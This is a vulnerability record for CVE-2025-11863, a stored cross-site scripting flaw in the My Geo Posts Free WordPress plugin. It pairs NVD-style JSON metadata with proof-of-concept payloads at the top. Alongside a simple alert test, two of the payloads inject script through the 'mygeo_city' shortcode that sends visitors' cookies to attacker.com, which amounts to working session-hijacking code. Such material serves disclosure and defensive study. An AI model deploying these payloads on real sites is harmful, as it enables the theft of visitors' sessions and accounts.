CVE-2025-11863

<!-- PoC for CVE-2025-11863: My Geo Posts Free Stored XSS --> <!-- Inject via 'mygeo_city' shortcode default attribute --> [mygeo_city default='"><script>alert('XSS Vulnerability - CVE-2025-11863')</script><span class='"] <!-- Alternative PoC: Cookie Stealing --> [mygeo_city default='"><script>fetch('https://attacker.com/steal?c='+document.cookie)</script><span class='"] <!-- PoC: Session Hijacking --> [mygeo_city default='"><img src=x onerror='fetch("https://attacker.com/log?data="+btoa(document.cookie))'></img><span class='"]

{"cve": {"id": "CVE-2025-11863", "sourceIdentifier": "[email protected]", "published": "2025-11-11T04:15:43.433", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The My Geo Posts Free plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'mygeo_city' shortcode in all versions up to, and including, 1.2. This is due to the plugin not properly sanitizing user input or escaping output of the 'default' shortcode attribute. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/my-geo-posts-free/tags/1.2/inc/shortcodes.php#L22", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/374a26dd-dd62-4583-8aff-90e5ae6b7468?source=cve", "source": "[email protected]"}]}}